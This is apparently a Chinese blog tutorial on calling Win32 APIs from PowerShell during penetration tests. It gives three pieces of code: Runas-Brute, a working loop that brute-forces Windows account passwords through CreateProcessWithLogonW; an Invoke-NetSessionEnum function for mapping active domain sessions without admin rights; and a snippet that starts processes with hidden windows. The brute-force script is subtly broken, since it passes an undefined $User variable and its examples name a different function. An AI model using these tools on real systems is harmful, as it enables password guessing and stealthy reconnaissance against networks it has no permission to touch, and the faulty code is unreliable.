powershell(8)-win32API
Powershell还有一大强大之处就是能调用Win32-Api(废话),这给我们带来了极大的便利,也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现,而我们只需要在对方机器执行一条命令即可。
下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api,从而达到学习的目的,也能够为大家的脚本工具增添xx….:)
Runas
runas.exe是一个Windows自带的程序,一条简单的命令runas /user:corp\bob cmd可以用域内另外一个用户的身份开一个shell,当然需要你输入密码
这次我们直接通过Powershell来实现runas,但是我们就不介绍他直接的用处了,那么runas我们能想到的利用场景还有什么呢?我们可以通过输入密码对用户的密码进行爆破。
2. function Runas-Brute {
4. <#
5. .SYNOPSIS
6. Parameters:
8. -UserList Specifiy usernameList.
10. -PasswordList Specify passwordList.
12. -Domain Specify domain. Defaults to localhost if not specified.
14. -LogonType dwLogonFlags:
15. 0x00000001 --> LOGON_WITH_PROFILE
16. Log on, then load the user profile in the HKEY_USERS registry
17. key. The function returns after the profile is loaded.
19. 0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly)
20. Log on, but use the specified credentials on the network only.
21. The new process uses the same token as the caller, but the
22. system creates a new logon session within LSA, and the process
23. uses the specified credentials as the default credentials.
25. -Binary Full path of the module to be executed.
27. -Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
28. to $null if not specified.
31. .EXAMPLE
32. Start cmd with a local account
33. C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
35. .EXAMPLE
36. Start cmd with remote credentials. Equivalent to "/netonly" in runas.
37. C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
38. #>
40. param (
41. [Parameter(Mandatory = $True)]
42. [string]$UserList,
43. [Parameter(Mandatory = $True)]
44. [string]$PasswordList,
45. [Parameter(Mandatory = $False)]
46. [string]$Domain=".",
47. [Parameter(Mandatory = $True)]
48. [string]$Binary,
49. [Parameter(Mandatory = $False)]
50. [string]$Args=$null,
51. [Parameter(Mandatory = $True)]
52. [int][ValidateSet(1,2)]
53. [string]$LogonType
54. )
56. Add-Type -TypeDefinition @"
57. using System;
58. using System.Diagnostics;
59. using System.Runtime.InteropServices;
60. using System.Security.Principal;
62. [StructLayout(LayoutKind.Sequential)]
63. public struct PROCESS_INFORMATION
64. {
65. public IntPtr hProcess;
66. public IntPtr hThread;
67. public uint dwProcessId;
68. public uint dwThreadId;
69. }
71. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
72. public struct STARTUPINFO
73. {
74. public uint cb;
75. public string lpReserved;
76. public string lpDesktop;
77. public string lpTitle;
78. public uint dwX;
79. public uint dwY;
80. public uint dwXSize;
81. public uint dwYSize;
82. public uint dwXCountChars;
83. public uint dwYCountChars;
84. public uint dwFillAttribute;
85. public uint dwFlags;
86. public short wShowWindow;
87. public short cbReserved2;
88. public IntPtr lpReserved2;
89. public IntPtr hStdInput;
90. public IntPtr hStdOutput;
91. public IntPtr hStdError;
92. }
94. public static class Advapi32
95. {
96. [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
97. public static extern bool CreateProcessWithLogonW(
98. String userName,
99. String domain,
100. String password,
101. int logonFlags,
102. String applicationName,
103. String commandLine,
104. int creationFlags,
105. int environment,
106. String currentDirectory,
107. ref STARTUPINFO startupInfo,
108. out PROCESS_INFORMATION processInformation);
109. }
111. public static class Kernel32
112. {
113. [DllImport("kernel32.dll")]
114. public static extern uint GetLastError();
115. }
116. "@
118. # StartupInfo Struct
119. $StartupInfo = New-Object STARTUPINFO
120. $StartupInfo.dwFlags = 0x00000001
121. $StartupInfo.wShowWindow = 0x0001
122. $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
124. # ProcessInfo Struct
125. $ProcessInfo = New-Object PROCESS_INFORMATION
127. # 创建一个在当前目录的shell
128. $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
130. echo "`n[>] Calling Advapi32::CreateProcessWithLogonW"
132. $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
133. $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
134. if (!$usernames) {
135. $usernames = $UserList
136. Write-Verbose "UserList file does not exist."
137. Write-Verbose $usernames
138. }
139. if (!$passwords) {
140. $passwords = $PasswordList
141. Write-Verbose "PasswordList file does not exist."
142. Write-Verbose $passwords
143. }
145. :UsernameLoop foreach ($username in $usernames)
146. {
147. foreach ($Password in $Passwords)
148. {
149. $CallResult = [Advapi32]::CreateProcessWithLogonW(
150. $User, $Domain, $Password, $LogonType, $Binary,
151. $Args, 0x04000000, $null, $GetCurrentPath,
152. [ref]$StartupInfo, [ref]$ProcessInfo)
154. if (!$CallResult) {
155. echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)"
156. echo "Test: " , $User , $password
157. } else {
158. echo "`n[+] Success, process details:"
159. Get-Process -Id $ProcessInfo.dwProcessId
160. echo "Test: " , $User , $password
161. break UsernameLoop
162. }
163. }
164. }
165. }
这是整个脚本的代码,那么下面就是运行的结果,我们只需要指定好他的字典文件即可

NetSessionEnum
下面一个简单的介绍NetSessionEnum。首先我们需要了解的是,在真实的测试过程中我们需要知道域内的组织架构,域内的活动机器等等。那么可以提供的工具也有很多,比如:PVEFindADUser.exe psloggedon.exe netsess.exe hunter.exe等等,那么我们还是选择powershell作为我们的最佳利用工具,其实上面讲到的工具都是调用了NetSessionEnum API,那么我们Powershell也能够非常方便的调用此API,而且最重要的一点,我们并不需要域管的权限,下面我们来看一下这里如何实现。
1. function Invoke-NetSessionEnum {
2. <#
3. .SYNOPSIS
5. 使用NetSessionEnum去列出目前的活动?
7. .EXAMPLE
8. PS> Invoke-NetSessionEnum -HostName SomeHostName
10. #>
12. param (
13. [Parameter(Mandatory = $True)]
14. [string]$HostName
15. )
17. Add-Type -TypeDefinition @"
18. using System;
19. using System.Diagnostics;
20. using System.Runtime.InteropServices;
22. [StructLayout(LayoutKind.Sequential)]
23. public struct SESSION_INFO_10
24. {
25. [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
26. [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
27. public uint SessionTime;
28. public uint IdleTime;
29. }
31. public static class Netapi32
32. {
33. [DllImport("Netapi32.dll", SetLastError=true)]
34. public static extern int NetSessionEnum(
35. [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
36. [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
37. [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
38. Int32 Level,
39. out IntPtr bufptr,
40. int prefmaxlen,
41. ref Int32 entriesread,
42. ref Int32 totalentries,
43. ref Int32 resume_handle);
45. [DllImport("Netapi32.dll", SetLastError=true)]
46. public static extern int NetApiBufferFree(
47. IntPtr Buffer);
48. }
49. "@
51. # 创建 SessionInfo10 结构
52. $SessionInfo10 = New-Object SESSION_INFO_10
53. $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
54. $SessionInfo10 = $SessionInfo10.GetType()
55. # NetSessionEnum 的参数
56. $OutBuffPtr = [IntPtr]::Zero
57. $EntriesRead = $TotalEntries = $ResumeHandle = 0
58. $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
60. if ($CallResult -ne 0){
61. echo "something wrong!`nError Code: $CallResult"
62. }
64. else {
66. if ([System.IntPtr]::Size -eq 4) {
67. echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
68. }
69. else {
70. echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
71. }
73. echo "Result-set contains $EntriesRead session(s)!"
75. # Change buffer offset to int
76. $BufferOffset = $OutBuffPtr.ToInt64()
78. # Loop buffer entries and cast pointers as SessionInfo10
79. for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
80. $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
81. $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
82. $Info
83. $BufferOffset = $BufferOffset + $SessionInfo10StructSize
84. }
86. echo "`nCalling NetApiBufferFree, no memleaks here!"
87. [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
88. }
89. }

CreateProcess
最后我们在看一个我们用的最多的API例子:进程创建,我们需要远程创建一个没有窗口而去token由我们指定的进程,至于为什么要这么干大家可以自己领悟。那么CreateProcess API就能满足我们的需求,我们来看一个简单的例子:
1. Add-Type -TypeDefinition @"
2. using System;
3. using System.Diagnostics;
4. using System.Runtime.InteropServices;
6. [StructLayout(LayoutKind.Sequential)]
7. public struct PROCESS_INFORMATION
8. {
9. public IntPtr hProcess;
10. public IntPtr hThread;
11. public uint dwProcessId;
12. public uint dwThreadId;
13. }
15. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
16. public struct STARTUPINFO
17. {
18. public uint cb;
19. public string lpReserved;
20. public string lpDesktop;
21. public string lpTitle;
22. public uint dwX;
23. public uint dwY;
24. public uint dwXSize;
25. public uint dwYSize;
26. public uint dwXCountChars;
27. public uint dwYCountChars;
28. public uint dwFillAttribute;
29. public uint dwFlags;
30. public short wShowWindow;
31. public short cbReserved2;
32. public IntPtr lpReserved2;
33. public IntPtr hStdInput;
34. public IntPtr hStdOutput;
35. public IntPtr hStdError;
36. }
38. [StructLayout(LayoutKind.Sequential)]
39. public struct SECURITY_ATTRIBUTES
40. {
41. public int length;
42. public IntPtr lpSecurityDescriptor;
43. public bool bInheritHandle;
44. }
46. public static class Kernel32
47. {
48. [DllImport("kernel32.dll", SetLastError=true)]
49. public static extern bool CreateProcess(
50. string lpApplicationName,
51. string lpCommandLine,
52. ref SECURITY_ATTRIBUTES lpProcessAttributes,
53. ref SECURITY_ATTRIBUTES lpThreadAttributes,
54. bool bInheritHandles,
55. uint dwCreationFlags,
56. IntPtr lpEnvironment,
57. string lpCurrentDirectory,
58. ref STARTUPINFO lpStartupInfo,
59. out PROCESS_INFORMATION lpProcessInformation);
60. }
61. "@
63. # StartupInfo Struct
64. $StartupInfo = New-Object STARTUPINFO
65. $StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
66. $StartupInfo.wShowWindow = 0x0000 # SW_HIDE
67. $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
69. # ProcessInfo Struct
70. $ProcessInfo = New-Object PROCESS_INFORMATION
72. # SECURITY_ATTRIBUTES Struct (Process & Thread)
73. $SecAttr = New-Object SECURITY_ATTRIBUTES
74. $SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
76. # CreateProcess In CurrentDirectory
77. $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
79. # Call CreateProcess
80. [Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
81. 0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
其中窗口问题是在$StartupInfo.wShowWindow = 0x0000 # SW_HIDE这里解决的,下面是测试效果:

可以看到计算器是在cmd进程下面的,那么还有一个需求是使用什么Token来打开一个进程,我们使用API:CreateProcessAsUserW那么大家可以去研究一下如何完成使用特定token打开进程。
